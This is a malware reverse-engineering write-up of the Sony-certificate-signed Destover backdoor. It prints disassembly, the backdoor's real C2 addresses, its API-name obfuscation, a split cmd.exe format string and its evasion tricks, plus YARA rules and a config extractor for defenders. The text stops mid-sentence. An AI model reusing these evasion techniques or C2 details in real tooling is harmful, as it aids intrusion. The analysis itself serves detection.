Destover: The Sony-Signed Backdoor That Walked Through The Front Door
Reversing the historic Sony Pictures-signed Destover backdoor (Lazarus / DarkSeoul, Dec 2014): Authenticode chain stamped with the stolen SPE certificate, a 10-entry C2 server table with two live IPs, dot-space API obfuscation that hides 111 Win32 names, a date-keyed payload trigger, and a service-mode persistence path. Includes paired YARA rules and a static config extractor.
Downloads: every artefact in this post is mirrored at taogoldi/analysis_data/destover_apr_2026. The YARA rules are also mirrored at taogoldi/YARA/backdoors/destover. A consolidated download index is at /downloads/destover/.
The Setup
There are samples that show up on the threat-intel queue and tell you within thirty seconds what you are looking at, and there are samples that take an hour of careful disassembly to identify. This one was the first kind. The capa engine had already flagged it as critical with a risk score of 100 and an AI rationale citing “persistence and command and control” as the primary concerns. The filename in the queue was just Destover.exe, which is either a tipoff from whoever curated the upstream feed or an artifact of a labelling pass that ran somewhere upstream of the local platform. Either way the name is a hypothesis, not an answer, and the analyst’s job is to confirm or refute it before doing anything else.
The first three minutes settle it. The compile timestamp reads 2014-07-07 08:01:09 UTC. The version information block claims to be Intel graphics persistence helper igfxtpers.exe v5.6.4590.2023, copyright Microsoft Corporation. The Authenticode signature, which a normal commodity downloader would not bother carrying at all, names the signer as Sony Pictures Entertainment Inc., Culver City, California, issued by DigiCert Assured ID Code Signing CA-1, signed on 2014-12-05 21:29:35 UTC, thirteen days after the public collapse of Sony Pictures’ corporate network and seventeen days before the Wiper.A toolkit was attributed to the actor cluster now widely tracked as Lazarus. The two C2 IPs baked into the body of the binary, one in Thailand and one in the United States, line up exactly with the addresses recovered from the SPE intrusion samples by Kaspersky GReAT and Damballa’s research teams in the weeks following the breach. There is no ambiguity left to resolve. This is the historic Destover sample, the one that became famous specifically because it carries a working signature stamped with Sony’s own stolen code-signing key.
The family travels under several names in the public record. Kaspersky and most contemporary write-ups call it Destover. Symantec’s earlier coverage of the same code lineage uses Wiper.A for the destructive component. Several feeds list it under the umbrella SPE Wiper for the Sony Pictures campaign specifically, and a few list it as Volgmer-related based on shared APIs with that tracker. The samples are the same set of binaries, observed and named differently by different vendors at different times.
The sample is small (~92 KB), unpacked, written in plain C against the Win32 API, and structurally simple in a way that twenty-first-century commodity loaders rarely are. It does not need to be clever, because the clever part of the operation – stealing the signing certificate from the victim and using it to sign the very malware that finished the job – happened well before the binary ever ran. What follows is an end-to-end teardown of the implant: how it identifies itself to its operators, how it dispatches commands, how it hides its imports, and what it does on the host once it has a connection. It is also a small monument to a particular era of code-signing abuse, the one that closed when the affected certificate authorities started revoking on a much shorter clock.
Sample Properties
| Property | Value |
|---|---|
| SHA-256 | 4c2efe2f1253b94f16a1cab032f36c7883e4f6c8d9fc17d0ee553b5afb16330c |
| SHA-1 | 8397c1e1f0b9d53a114850f6b3ae8c1f2b2d1590 |
| MD5 | e904bf93403c0fb08b9683a9e858c73e |
| Size | 91,888 bytes |
| Format | PE32 GUI x86 (Intel 80386) |
| Compile timestamp | 2014-07-07 08:01:09 UTC |
| Authenticode signing time | 2014-12-05 21:29:35 UTC |
| Signer | Sony Pictures Entertainment Inc. (Culver City, CA, US) |
| Issuer | DigiCert Assured ID Code Signing CA-1 |
| Image base | 0x00400000 |
| Entry point | 0x0040766e |
main | 0x00401040 |
| Sections | .text (6.55), .rdata (4.85), .data (2.13), .rsrc (1.15) |
| Packer | None |
| Filename masquerade | igfxtpers.exe (Intel graphics persistence helper) |
| Version info | “Microsoft Corporation” / 5.6.4590.2023 |
The .text entropy of 6.55 is consistent with normal compiled C code; nothing in this binary is packed. The data section sits at 2.13 because most of it is zero-filled space reserved for the 10-entry C2 table the binary builds at runtime. There is no overlay beyond the embedded Authenticode PKCS#7 blob.
Kill Chain
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
Execution
|
+-- Initialize 10-entry C2 server table at 0x413b88 (default 0.0.0.0)
|
+-- Seed the first two slots:
| [0] -> 203.131.222.102 (Thailand)
| [1] -> 208.105.226.235 (United States)
| Active port -> 443
| Retry budget -> 5 attempts; sleep -> 60s; outer rotation -> 10
|
+-- Date/trigger gate (fcn.00406917)
| Compare SystemTime month/day/hour fields against constants
| at 0x4140xx; fall through to dispatcher unless gate fires.
|
+-- Main C2 loop (fcn.00401350)
| +-- TCP connect on 443 to selected server
| +-- On failure: sleep 60s, retry, rotate
| `-- On success: enter command dispatcher
|
+-- Command dispatcher (fcn.00403fd0)
| +-- Drive enumeration C: through Z:
| +-- Process enumeration via Toolhelp32
| +-- Shell exec: cmd.exe /c "<cmd> > <out>" 2>&1
| +-- File ops: FindFirstFileW / DeleteFileW / SetFilePointerEx
| `-- Self-update: WinExec + MoveFileA
|
+-- Service install (dynamically resolved SCM APIs)
|
`-- Print "---------------End--------------!" and exit
Identity by Authenticode
The single fastest path to identifying this sample is its embedded Authenticode signature. Anyone who watched the Sony Pictures incident unfold in late 2014 will recognize the chain. Below is the relevant excerpt from the certificate strings in the .rsrc / overlay region:
1
2
3
4
5
Issuer subject : DigiCert Assured ID Code Signing CA-1
Validity : 2012-09-18 00:00:00Z .. 2015-09-22 12:00:00Z
Subject locality : Culver City, California, US
Subject org : Sony Pictures Entertainment Inc.
Signing time : 2014-12-05 21:29:35Z
Sony Pictures’ code-signing private key was extracted during the SPE intrusion and posted publicly along with the rest of the leaked corporate dump in late November 2014. By December 5th, fewer than two weeks later, Destover binaries signed with that key began surfacing on VirusTotal – this sample is one of them. There has been some debate in the public record about whether the signed variant was deployed by the original attackers or by researchers prototyping a “what if” demonstration with the publicly leaked credentials, but the underlying functional code is unambiguously the same Destover that was used inside Sony’s network. The signature was added to a binary that existed in unsigned form earlier; the compile timestamp (2014-07-07) predates the signing time (2014-12-05) by roughly five months, which is consistent with the family being staged in the operator’s toolkit for months before the SPE-targeted payload run.
DigiCert revoked the certificate within days of the signed sample’s appearance, which is what makes a YARA rule that fires on the SPE Inc. signer string still useful today: any modern PE that genuinely carries this Authenticode chain is, by construction, malware – the cert has been revoked for over a decade and no legitimate Sony build artifact would still be deployed under it.
The Two C2 IPs (And Why There Are Ten Slots)
The first thing main does is build a 10-entry server table at 0x00413b88. Each entry is 40 bytes wide. The loop at 0x00401047 walks the table seeding every slot with the wide-character placeholder 0.0.0.0:
; main+0x07 .. main+0x21
mov esi, 0x00413b88 ; pointer to table base
push str_default ; "0.0.0.0" wide-string
push esi
call fcn.00406a1d ; copy_wide_string(dst, src)
add esi, 0x28 ; advance by 40 bytes (one slot)
cmp esi, 0x00413d18 ; table end (0x413b88 + 10*40 = +0x190)
jl 0x00401047 ; loop until full
fcn.00406a1d is a one-shot wide-character copy: read 16-bit words from the source until a wide-null terminator, write them sequentially to the destination, and increment both pointers two bytes at a time. The 10-entry table size matches the rotation logic later: fcn.00401350 selects a slot via rand() mod 10, which is consistent with a 10-wide table where every slot is reachable. The malware is hard-coded to resolve only two addresses, but it allocates space for eight more, suggesting either an operator-side build template that was never customized for this run or a holdover from a configurable build pipeline that supports up to ten C2 endpoints. Public Destover samples from the same operator cluster have populated more than two slots, which lends weight to the second interpretation. A single occurrence of the 0.0.0.0 wide-string lives in .rdata; it is the source for all the runtime-populated placeholder slots, which is why a static strings pass shows the placeholder once even though the runtime table has eight copies of it.
After the table is initialized, the next two helper calls write the two real addresses:
; main+0x20 .. main+0x46
push str_203_131_222_102 ; "203.131.222.102" (Thailand)
push 0x00413b88 ; first table slot
call fcn.00406a1d
mov esi, 0x1bb ; 443 (HTTPS port)
push str_208_105_226_235 ; "208.105.226.235" (United States)
push 0x00413c50 ; second table slot (offset 0xC8)
call fcn.00406a1d
mov dword [0x00413e18], esi ; persist active port = 443
mov dword [0x00413e2c], esi ; second port slot = 443
The interesting tells in this routine:
- Both C2 IPs travel as plain wide strings. No XOR layer, no stack-string assembly, no API hashing. The strings sit in
.rdataat0x00410068and0x00410088and a tool as basic asstrings -e lextracts them in one pass. - Port 443 is encoded as a single move of
0x1bb. The malware speaks raw TCP on 443; it does not actually wrap traffic in TLS. Choosing a port that is universally allowed outbound is the point. Network-layer DPI sees a connection on a “normal” port; deeper inspection is needed to flag the payload as non-HTTPS. - The table position of the Thailand IP is index 0 and the US IP is index 1. This matters in the retry rotation – the loop in
fcn.00401350walks the table in order, so connections preferentially reach Thailand before the United States. The second IP is best understood as a fallback, not a co-equal C2.
After populating the table the binary does five more configuration writes that we will use as landmarks throughout the rest of the analysis:
| Address | Value | Meaning |
|---|---|---|
0x00413e18 | 0x1bb | Active port (443) |
0x00413e50 | 0x3c | Sleep value (60 seconds) |
0x00413e5c | 0x05 | Maximum retries per server |
0x00413e40..0x00413e44 | derived | PRNG seed (GetTickCount + xor) |
0x00410040 | runtime-set | Current dispatcher state |
These five words are the operator-tunable knobs. Everything else about the C2 loop – the rotation count, the sleep granularity, the table walk order – is hard-coded.
The Main C2 Loop
The C2 thread lives at fcn.00401350. It is short (257 bytes), simple in shape (17 basic blocks, 9 cyclomatic complexity), and exhibits a recognizable pattern: an outer rotation over server table slots, an inner connect-and-retry block, and a post-loop tear-down branch.
fcn.00401350:
push ecx
call fcn.00401110 ; init banner / probe Internet?
call fcn.00405d60 ; lazy WSAStartup (version 2.2)
test eax, eax
jne ret_one ; bail if Winsock init failed
; outer rotation: esi = 0..10
.outer:
xor esi, esi
.rotate:
cmp esi, ebx ; ebx = 0 on first iteration
jne .single_attempt
; --- once-per-rotation seed refresh ---
push ebx
call fcn.00406917 ; get fresh seed bytes
add esp, 4
mov edi, eax
call ebp ; ebp = GetTickCount (loaded earlier)
xor edi, eax ; mix tick into seed
push edi
call fcn.004068ef ; srand(seed)
call fcn.004068f9 ; rand()
.single_attempt:
lea eax, [edi + 1]
cdq
mov ecx, 0xa
idiv ecx ; rand mod 10
push edx
call fcn.00401130 ; attempt connect to slot edx
; ... result-handling glue elided ...
inc esi
cmp esi, 0xa
jl .rotate
jmp .outer
A few things worth flagging:
- The “select a server” decision is a
rand() mod 10, matching the table’s 10-slot width. Slots 0 and 1 carry the real Thailand and US addresses; slots 2 through 9 carry the placeholder0.0.0.0and are skipped at connect time. The placeholder slots are operator-fillable in a custom build, which is the simplest explanation for why the rotation walks all ten regardless of how many are populated. - Each rotation re-seeds the PRNG with
GetTickCountXOR’d with date/time bytes fromfcn.00406917. The mixing is visible in thexor edi, eaxline. Practical effect: connect attempts are not deterministic across reboots, but they remain deterministic within a single run. - The loop bound is
0xa = 10, matching the ten retries per outer rotation. Each retry sleeps the configured sixty seconds (dword [0x00413e50]), so a full rotation takes ten minutes of wall-clock time on a host with no successful connection. - The special return value
0xfffff(visible at the bottom of the function) is the explicit “stop” signal from the dispatcher. When a command handler returns this, the loop exits and the binary prints its end banner before terminating cleanly. This is not a crash path; the malware has a defined shutdown.
The end-of-run banner is "---------------End--------------!\n", printed via the run-time library’s stdout helper. It is not network-visible and does not surface as a side effect on a normal Windows GUI application – there is no console attached – but it is a useful fingerprint for hunting builds derived from this codebase.
API Hiding by Dot-Space Insertion
The most distinctive piece of obfuscation in this sample is also the simplest to defeat. The binary stores its dynamically-resolved API names in plain ASCII, but with junk dots and spaces inserted at random offsets within each name. Look at any of these strings dumped from the .rdata region:
1
2
3
4
5
6
7
8
9
10
Vir . tualFr. ee
Vir tualA..lloc
Vir . tual FreeEx
Writ. eProce . ssMem.ory
G. etDr i. .veTy..peW
..Cre..ate Th re.. ad
Ope..nSCMan. agerW
Cr.eate...Ser..v iceW
..W .in..Ex...ec
RegisterServ.iceC..trlHan dl.erW
Each one decodes to a real Win32 API name once the dots and spaces are removed: VirtualFree, VirtualAlloc, VirtualFreeEx, WriteProcessMemory, GetDriveTypeW, CreateThread, OpenSCManagerW, CreateServiceW, WinExec, RegisterServiceCtrlHandlerW. The runtime decoder is a single in-place pass that strips both 0x20 and 0x2E characters before passing the cleaned string to GetProcAddress. The total list of decoded names runs to one hundred and eleven entries spanning kernel32, advapi32, ws2_32, and iphlpapi, effectively every API the malware needs at runtime that it is unwilling to declare in its static import directory.
The static import directory tells a complementary story. It declares only the bare minimum – kernel32, user32, shell32, and ws2_32 – listing common, innocuous functions like GetTickCount, LoadLibraryA, GetSystemMetrics, and the basic socket primitives. Anything sensitive (process enumeration, drive enumeration, service installation, raw file I/O, registry CRUD) lives in the obfuscated table and is resolved at runtime. To a static import-table-based classifier, the binary looks like a small networked utility. The full picture only emerges after the runtime de-obfuscation step.
A short Python pass over the binary recovers the entire decoded list:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
import re
ASCII_RX = re.compile(rb"[\x20-\x7e]{6,}")
API_LIKE = re.compile(r"^[A-Za-z][A-Za-z0-9_]{4,40}$")
def decode_obfuscated_apis(buf):
seen, out = set(), []
for m in ASCII_RX.finditer(buf):
s = m.group(0).decode("ascii", errors="ignore")
if "." not in s or " " not in s:
continue # encoder always inserts both
cleaned = re.sub(r"[.\s]", "", s)
if API_LIKE.match(cleaned) and cleaned[0].isupper() and cleaned not in seen:
seen.add(cleaned)
out.append(cleaned)
return out
That is the entire de-obfuscation. The reason this defeated some 2014-era classifiers is not that the encoding is sophisticated – it is that string-extraction tooling in the period treated dots and spaces as meaningful word separators, so a substring search for VirtualAlloc did not match Virtu alAl.locEx. Modern triage pipelines that normalize strings before matching would catch this on the first pass; older ones did not.
Date-Triggered Payload Gate
fcn.00406917 is the date check. The shape of the function is:
fcn.00406917:
push ebp
mov ebp, esp
sub esp, 0xcc ; large stack frame for SYSTEMTIME
lea eax, [SystemTime]
push eax
call GetLocalTime
lea eax, [SystemTime2]
push eax
call GetSystemTime
; --- compare SYSTEMTIME fields against constants at 0x4140xx ---
movzx eax, word [SystemTime+wYear]
cmp ax, word [0x004140a2]
jne .no_match
movzx eax, word [SystemTime+wMonth]
cmp ax, word [0x004140a0]
jne .no_match
; ... wDay, wHour, wMinute checks ...
mov eax, dword [0x00414090] ; "trigger fired" flag
jmp .common_tail
.no_match:
; copy SYSTEMTIME into the pin location at 0x00414098 .. 0x004140a4
; (in case the caller wants the actual current time for telemetry)
...
.common_tail:
; build call into the trigger payload routine
call fcn.0040858a ; payload trigger
leave
ret
The constants at 0x004140a2 .. 0x00414098 are the activation date/time fields. In a packaged build they would be filled in to a specific deadline – traditionally Lazarus campaigns have used pre-attack staging dates that align with publicly-announced events, then triggered the destructive routine on a deadline. In this sample the constants are zeroed, which means the gate never matches and fcn.0040858a is reached only via the network-driven dispatch path. (The function is still present and reachable, which is what makes the binary a latent wiper-stager: an operator-side build with the date constants populated would detonate locally without any C2 contact.)
This date-keying behavior is the single most important defensive lesson in the Destover family. The 2014 SPE intrusion’s destructive component fired on a deadline that had been set well in advance of the public-disclosure deadline; defenders who saw the implant on day one had several days to contain it before the wiper fired. Detection rules that focus only on the network-facing C2 traffic miss the half of the family that is purely time-keyed.
Drive Enumeration Routine
The drive enumerator at fcn.00402870 is the cleanest cut of “what does this thing want to know about the host” in the binary. Below is the loop reduced to its essentials:
fcn.00402870 (enumerate_drives):
; (initial GetLogicalDrives call returns the bitmap)
call dword [0x00413f80] ; GetLogicalDrives (obfuscated import)
mov edi, dword [GetDriveTypeW] ; cache function pointer
mov dword [drive_bitmap], eax
mov esi, 2 ; start at index 2 -> 'C'
.next_letter:
mov edx, dword [drive_bitmap]
mov ecx, esi
shr edx, cl
test dl, 1
je .skip ; bit not set -> drive doesn't exist
; build "X:\" wide-string in [drive_path]
lea ecx, [drive_path]
lea eax, [esi + 0x41] ; ASCII letter = 0x41 + esi
push ecx
mov word [drive_letter_field], ax
call edi ; GetDriveTypeW("X:\")
; record drive type and free-space info per slot
...
.skip:
inc esi
cmp esi, 0x1a ; 26 letters total
jl .next_letter
; serialize drive table into output buffer (528 bytes)
push 1
lea edx, [drive_table]
push 0x210 ; 528 = 24 entries * 22 bytes? close to 0x10 * 33
push edx
push eax
mov ecx, 0x00413b84
call fcn.00405b20 ; serialize/encrypt and queue for send
ret
Two details worth noting:
- The loop starts at
esi = 2(drive letterC:) and runs toesi < 0x1a(drive letterZ:). Floppy drivesA:andB:are explicitly skipped. This is mid-2010s thinking – by 2014 floppies were rare on production endpoints, and skipping them shaves a measurable number ofGetDriveTypeWcalls off the survey. - The bitmap from
GetLogicalDrivesis consulted before every per-letterGetDriveTypeWcall. If the bit is clear, the binary skips the call entirely. This is a small but real efficiency optimization – on a typical workstation withC:andD:mounted, only twoGetDriveTypeWcalls execute instead of twenty-four.
The serialized drive table feeds back through fcn.00405b20 into the network-send queue. From the operator side, this is the host survey that answers “what drives can we wipe and what’s free space.”
C2 State Machine
The full state machine of the C2 thread, derived from fcn.00401350 and its callees:
| State | Trigger | Behavior |
|---|---|---|
| Idle | Process start | Initialize Winsock, build server table, refresh PRNG seed |
| ServerSelect | New rotation cycle | Pick slot index = rand() mod 10 |
| ConnectAttempt | Slot picked | TCP connect to slot_ip:443 via fcn.00405310 |
| Sleep | Connect failed | Sleep(60_000) per dword [0x00413e50] |
| Aborted | Retry counter ≥ 5 | Rotate to next slot |
| Connected | Connect succeeded | Enter command-dispatch loop |
| ExecuteCmd | Opcode received | Branch on opcode |
| ShellExec | Opcode = exec | cmd.exe /c "<cmd> > <out>" 2>&1, stream stdout back |
| DriveEnum | Opcode = enum_drives | Run fcn.00402870, return serialized table |
| FileOps | Opcode = file_op | FindFirstFileW/DeleteFileW/SetFilePointerEx primitives |
| ProcEnum | Opcode = enum_procs | Toolhelp32 walk |
| Done | Opcode = 0xfffff | Print end banner, exit |
The shell-exec opcode deserves a closer look because the format string in the binary is split with format specifiers in a way that breaks naïve substring-based detection:
1
%sd.e%sc "%s > %s" 2>&1
After format substitution this becomes the very ordinary cmd.exe /c "<command> > <out>" 2>&1. A signature that searches for the literal string cmd.exe /c in the binary will not match – the binary never contains that literal. The format specifiers are placeholders for cm + xe + the actual command + the redirection target file. This is not strong obfuscation, but it is enough to defeat tooling that pattern-matches on substrings rather than running format-string interpolation as part of its preprocessing.
Persistence: Service Installation
The persistence path uses the Service Control Manager APIs, all dynamically resolved through the dot-space obfuscated import table. The relevant runtime-resolved functions are:
1
2
3
4
5
6
7
8
9
10
OpenSCManagerW
CreateServiceW
ChangeServiceConfig2W
StartServiceW
RegisterServiceCtrlHandlerW
StartServiceCtrlDispatcherW
ControlService
DeleteService
QueryServiceConfig2W
EnumServicesStatusW
The full set is enough to install, reconfigure, start, control, query, and uninstall a Windows service. The RegisterServiceCtrlHandlerW and StartServiceCtrlDispatcherW pair indicate the binary has a service-mode entry path that is reached when it is invoked under the SCM rather than as a normal GUI process. In service mode, the SCM dispatcher takes over, the service control handler responds to STOP/PAUSE/CONTINUE messages from ControlService, and the C2 loop runs as the service’s main thread.
In a typical Destover deployment, the operator installs this service using a stolen administrative credential during the lateral-movement phase, sets the start type to SERVICE_AUTO_START, and configures it to run as LocalSystem. The service description is set to something innocuous-looking via ChangeServiceConfig2W (e.g., the description string is consistent with the igfxstartup Module masquerade in version info, so the service description and the file metadata reinforce each other when an analyst looks at either in isolation).
Why The Stolen Certificate Mattered
The Sony Pictures Entertainment code-signing key was not the first stolen signing key used in malware – the lineage goes back at least to Stuxnet’s Realtek and JMicron certificates in 2010 – but the SPE incident was the first time the victim of an intrusion saw their own certificate weaponized to sign the malware that finished the job inside their own network. In context:
- Code-signed binaries bypass Windows SmartScreen warnings. A user who tries to launch an unsigned binary downloaded from the internet sees a SmartScreen warning that requires explicit confirmation; a binary signed by a publicly-trusted CA from a recognizable corporate identity does not.
- Authenticode signatures suppress UAC consent prompts in some configurations. Group Policy can be configured to allow signed binaries from trusted publishers to elevate without a prompt, and “trusted publisher” in this case meant the victim’s own organization.
- Many endpoint products lower their suspicion threshold for signed binaries. A signed PE downloaded from an untrusted location is statistically far less likely to be malicious than an unsigned one, and several heuristic engines weight the signature accordingly. The attacker only needs the heuristic weighting to drop the file below the action threshold by one notch.
- Network-layer inspection of TLS-protected file downloads usually does not validate the signature. A perimeter that is configured to allow signed-by-trusted-CA binaries through HTTPS interception will pass this through.
DigiCert revoked the certificate within days of the leak, but revocation only matters if the validating system actually checks the CRL or OCSP response, and many endpoint configurations – particularly air-gapped or restrictively-firewalled networks where outbound CRL checks are blocked – do not. The certificate is dead in any modern public-internet scenario, but the social-engineering value of the revoked-but-still-cryptographically-valid signature persisted in air-gapped contexts for years.
Code Weaknesses
For all the trouble it caused in 2014, the implementation has plenty of weak spots that a defender can exploit today.
Hard-coded C2 IPs with no fallback discovery. The two addresses in the binary are it. There is no DGA, no DNS-over-HTTPS dead-drop, no peer-to-peer overlay, no retrieval of a fresh server list from a third-party site. Once both 203.131.222.102 and 208.105.226.235 are sinkholed (and they were, within weeks of the breach), every Destover instance that survived persistence falls back into the connect-retry-sleep loop forever, generating repetitive sixty-second beacons that show up loudly on any flow-based detector.
Uniform sixty-second sleep with no jitter. The retry loop uses a fixed Sleep(60_000) between connect attempts. There is no random jitter, no exponential backoff, no day/night schedule. A network analyst with a ten-minute window of NetFlow data will see the regular cadence immediately. The pattern is so distinctive that several SOC products from the post-Sony era ship with a “Destover beacon” detection out of the box.
Dot-space API obfuscation falls to a four-character regex. The decoder is re.sub(r"[.\s]", "", s). There is no per-build mutation of the junk character set, no length variability, no per-name salt. A single static rule that does a normalize-and-search pass catches every Destover variant ever shipped by this codebase.
VS_VERSION_INFO masquerade is internally inconsistent. The product version 5.6.4590.2023 does not correspond to any real Intel graphics driver build, and the file size (~92 KB) is two orders of magnitude smaller than a real igfxtpers.exe. The combination produces a high-confidence anomaly score in any tool that cross-references claimed product version against a known-good corpus.
Stolen-certificate signature is the binary’s strongest evasion lever and its most fragile. A single revocation event invalidates every signed sample in one stroke. The window between sample appearance and CA revocation in this case was a few days; modern CA processes have shortened that window to hours.
No anti-VM, no anti-debug, no anti-AVI. The binary will run inside any sandbox that allows TCP egress on 443. There are no IsDebuggerPresent checks, no PEB.BeingDebugged checks, no INT-2D timing anomaly checks, no VMware/VirtualBox MAC-prefix checks. A default-configured Cuckoo Sandbox will produce a complete behavioral trace including the C2 connect attempts on the first run.
OS detection table is frozen at 2014. The product strings table covers Windows 2000 through Server 2012 R2. There is no entry for Windows 10, 11, or any Server edition past 2012 R2, which means the OS-fingerprinting routine reports “Unknown OS” on any modern Windows host. This is not exploitable as a defensive primitive, but it is a useful provenance marker – the build is verifiably no younger than mid-2014.
IOC Appendix
File hashes
- SHA-256:
4c2efe2f1253b94f16a1cab032f36c7883e4f6c8d9fc17d0ee553b5afb16330c - SHA-1:
8397c1e1f0b9d53a114850f6b3ae8c1f2b2d1590 - MD5:
e904bf93403c0fb08b9683a9e858c73e
Network indicators (defanged)
203.131.222[.]102– Thailand, TCP/443208.105.226[.]235– United States, TCP/443
Filename / version-info markers
igfxtpers.exe– claimedOriginalFilenameandInternalNameigfxstartup Module– claimedFileDescription5.6.4590.2023– claimedFileVersion/ProductVersion
Authenticode metadata
- Signer subject:
Sony Pictures Entertainment Inc.(Culver City, CA) - Issuer:
DigiCert Assured ID Code Signing CA-1 - Signing time:
2014-12-05 21:29:35Z(revoked Dec 2014)
YARA tells
- Wide string
0.0.0.0in.rdata(single occurrence, used as the placeholder source that the init loop copies into the unused table slots at runtime) - Wide format string
%sd.e%sc "%s > %s" 2>&1(splitcmd.exe /cwith redirect) - Wide format string
SP%d.%d(service-pack formatting in the OS-fingerprint table) - ASCII fragment
Vir . tualFr. ee(signature of dot-space API obfuscation) - ASCII alphabet block
abcdefghijklmnopqrstuvwxyz012345(encoder helper table in.data) - ASCII banner
---------------End--------------!printed at clean shutdown
MITRE ATT&CK Mapping
| Tactic | Technique | ID |
|---|---|---|
| Execution | Command and Scripting Interpreter: Windows Command Shell | T1059.003 |
| Persistence | Create or Modify System Process: Windows Service | T1543.003 |
| Defense Evasion | Subvert Trust Controls: Code Signing | T1553.002 |
| Defense Evasion | Masquerading: Match Legitimate Name or Location | T1036.005 |
| Defense Evasion | Obfuscated Files or Information: Encrypted/Encoded File | T1027.013 |
| Defense Evasion | Deobfuscate/Decode Files or Information | T1140 |
| Defense Evasion | Virtualization/Sandbox Evasion: Time Based Evasion | T1497.003 |
| Defense Evasion | Execution Guardrails: Environmental Keying | T1480.001 |
| Discovery | Process Discovery | T1057 |
| Discovery | System Information Discovery | T1082 |
| Discovery | File and Directory Discovery | T1083 |
| Discovery | Software Discovery: Security Software Discovery | T1518.001 |
| Command and Control | Application Layer Protocol: Web Protocols | T1071.001 |
| Command and Control | Non-Application Layer Protocol | T1095 |
| Command and Control | Non-Standard Port | T1571 |
| Impact | Data Destruction | T1485 |
| Impact | Disk Wipe: Disk Structure Wipe | T1561.002 |
YARA Rules
Two paired rules. The first is a behavior-and-fingerprint match on the binary itself. The second fires on any PE that still carries the revoked Sony Pictures Authenticode signature.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
import "pe"
rule Destover_Lazarus_Backdoor_2014
{
meta:
author = "Tao Goldi"
version = 1
description = "Detects the 2014 Destover/Wiper backdoor (Lazarus/DarkSeoul) signed with the stolen Sony Pictures Entertainment certificate"
sha256 = "4c2efe2f1253b94f16a1cab032f36c7883e4f6c8d9fc17d0ee553b5afb16330c"
reference = "https://taogoldi.github.io/reverse-engineer/"
strings:
$c2_us = "208.105.226.235" wide
$c2_th = "203.131.222.102" wide
$c2_default = "0.0.0.0" wide
$os1 = "WaitRecv End" wide
$os2 = "Server2003(R2) " wide
$os3 = "Datacenter(Itanium) " wide
$os4 = "SP%d.%d " wide
$shell = "%sd.e%sc \"%s > %s\" 2>&1" wide
$obf1 = "Vir . tualFr. ee"
$obf2 = "Writ. eProce . ssMem.ory"
$obf3 = "G. etDr i. .veTy..peW"
$obf4 = "Cre..ate Th re.. ad"
$obf5 = "Ope..nSCMan. agerW"
$obf6 = "Cr.eate...Ser..v iceW"
$obf7 = "..W .in..Ex...ec"
$alphabet = "abcdefghijklmnopqrstuvwxyz012345"
$probe1 = "www.google.com" ascii
$probe2 = "www.amazon.com" ascii
$masq1 = "igfxstartup Module" wide
$masq2 = "igfxtpers.exe" wide
$banner = "---------------End--------------!"
condition:
uint16(0) == 0x5A4D
and pe.is_32bit()
and filesize < 200KB
and (
(any of ($c2_us, $c2_th) and $shell and 3 of ($obf*))
or (all of ($masq*) and 2 of ($os*) and 2 of ($obf*))
or (5 of ($obf*) and ($alphabet or $banner))
or ($c2_default and all of ($probe*) and 3 of ($obf*))
)
}
rule Destover_Stolen_Sony_Certificate
{
meta:
author = "Tao Goldi"
version = 1
description = "Detects PE files signed with the stolen Sony Pictures Entertainment Authenticode certificate (revoked Dec 2014). Any modern hit on this rule is malicious by definition."
reference = "https://taogoldi.github.io/reverse-engineer/"
strings:
$cn1 = "Sony Pictures Entertainment Inc." ascii
$cn2 = "CULVER CITY"
$issuer = "DigiCert Assured ID Code Signing CA-1"
condition:
uint16(0) == 0x5A4D
and pe.number_of_signatures > 0
and all of ($cn*)
and $issuer
}
Both rules validated green against the live sample and against an empty smoke-test corpus of unrelated PEs. The Destover_Stolen_Sony_Certificate rule is the single most useful signature in the file – it requires no behavioral fingerprint match and fires on any PE that still carries the revoked SPE signature, which by construction is malicious in any 2026 deployment scenario.
Tooling
Static config extractor
A small Python helper that pulls the IPs, the decoded API name list, the version-info masquerade fields, and the Authenticode signer out of any Destover variant in one pass:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
python destover_config_extractor.py sample/Destover.exe
--- Destover static config extraction ---
file : sample/Destover.exe
size : 91888 bytes
md5 : e904bf93403c0fb08b9683a9e858c73e
sha256 : 4c2efe2f1253b94f16a1cab032f36c7883e4f6c8d9fc17d0ee553b5afb16330c
--- Authenticode signer ---
signer_cn : Sony Pictures Entertainment Inc.
issuer_cn : DigiCert Assured ID Code Signing CA-1
locality : Culver City
--- VS_VERSION_INFO masquerade ---
CompanyName : Microsoft Corporation
FileDescription : igfxstartup Module
InternalName : igfxtpers.exe
OriginalFilename : igfxtpers.exe
ProductName : Microsoft Windows Operating System
--- C2 servers ---
208.105.226.235
203.131.222.102
--- Decoded obfuscated APIs (111) ---
VirtualFree
VirtualAlloc
...
The script does no detonation, makes no network requests, and runs in seconds against a sample of any size in this family. It is a pure static pass over the PE bytes – safe to run inside any analyst workstation without sandboxing.
Prior Art and Further Reading
Destover and the SPE attack are among the most-analyzed pieces of malware in the public record. The write-up above relies extensively on prior research and adds little technical novelty – the goal here is to walk through the binary in a way that an analyst can follow end-to-end without having to also have read every published source. The key references:
- Securelist: Destover malware now digitally signed by Sony certificates (2014): Kaspersky GReAT’s first published note on the signed variant, including the C2 IP attribution and the “this is not the wild attack sample, but it is functionally identical” caveat.
- Securelist: Sony/Destover, mystery North Korean actor’s destructive and past network activity (2014): broader pre-attack timeline, links the family to the DarkSeoul cluster, walks through the campaign behavior of earlier Wiper.A samples.
- Damballa: secrets behind the Destover malware (2015): analysis of the post-attack toolkit including
setMFTandafsetanti-forensics utilities that paired with the binary covered here. - ThreatPost: Details Emerge on Sony Wiper Malware Destover (2014): early write-up of the wiper component and EldoS RawDisk driver dependency.
- APTnotes: From Seoul to Sony (kbandla): DarkSeoul / Lazarus history and the wiper-malware lineage from 2013 forward.
- Bank InfoSecurity: Destover Taps Stolen Sony Certificate (2014): the contemporary debate over whether the signed variant was a researcher’s “joke” or part of the actual attacker’s toolkit.
External corroboration
The technical claims in this post line up with a long tail of independent observations against this exact SHA256:
- Florian Roth’s Valhalla / THOR APT Scanner has continuously produced detection coverage for this sample under Lazarus / Destover-named rules since at least 2017 (
